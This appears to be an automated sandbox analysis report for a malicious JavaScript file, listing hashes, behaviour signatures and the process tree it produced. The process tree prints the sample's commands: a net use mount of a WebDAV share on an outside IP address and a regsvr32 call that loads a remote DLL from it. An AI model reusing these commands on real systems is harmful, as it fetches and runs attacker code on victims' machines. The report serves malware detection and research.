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Analysis
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max time kernel
117s -
max time network
136s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
10/07/2024, 02:14
Static task
static1
Behavioral task
behavioral1
Sample
c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec.js
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec.js
Resource
win10v2004-20240709-en
General
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Target
c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec.js
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Size
5KB
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MD5
44767fb1f3ad3064791b10ad7eb09b47
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SHA1
3e502e4d877970a6b80c88d168ad314d7fbfc525
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SHA256
c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec
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SHA512
5657d875db17f67decf9c63f2e07054dd5ba41a1844ed3318afa64352ff7dfb40753ce98e33a1fa535ab2d533f77f38af0282b8e701962d975244368577abb83
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SSDEEP
96:zB/FKshkndFToddKEEEKoNw7ddKEEEsR2TEIDeEdhqx5nh7esM0nklM0S:ZAshknfoddAhdduRqEcewhqPnh7I0nkc
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1940 regsvr32.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 1720 wrote to memory of 1552 1720 wscript.exe 31 PID 1720 wrote to memory of 1552 1720 wscript.exe 31 PID 1720 wrote to memory of 1552 1720 wscript.exe 31 PID 1552 wrote to memory of 2632 1552 cmd.exe 33 PID 1552 wrote to memory of 2632 1552 cmd.exe 33 PID 1552 wrote to memory of 2632 1552 cmd.exe 33 PID 1552 wrote to memory of 1940 1552 cmd.exe 34 PID 1552 wrote to memory of 1940 1552 cmd.exe 34 PID 1552 wrote to memory of 1940 1552 cmd.exe 34 PID 1552 wrote to memory of 1940 1552 cmd.exe 34 PID 1552 wrote to memory of 1940 1552 cmd.exe 34
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec.js1⤵
- Suspicious use of WriteProcessMemory
PID:1720 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec.js" "C:\Users\Admin\\opikec.bat" && "C:\Users\Admin\\opikec.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1552 -
C:\Windows\system32\net.exenet use \\45.9.74.13@8888\DavWWWRoot\3⤵PID:2632
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C:\Windows\system32\regsvr32.exeregsvr32 /s \\45.9.74.13@8888\DavWWWRoot\572.dll3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1940
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5KB
MD544767fb1f3ad3064791b10ad7eb09b47
SHA13e502e4d877970a6b80c88d168ad314d7fbfc525
SHA256c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec
SHA5125657d875db17f67decf9c63f2e07054dd5ba41a1844ed3318afa64352ff7dfb40753ce98e33a1fa535ab2d533f77f38af0282b8e701962d975244368577abb83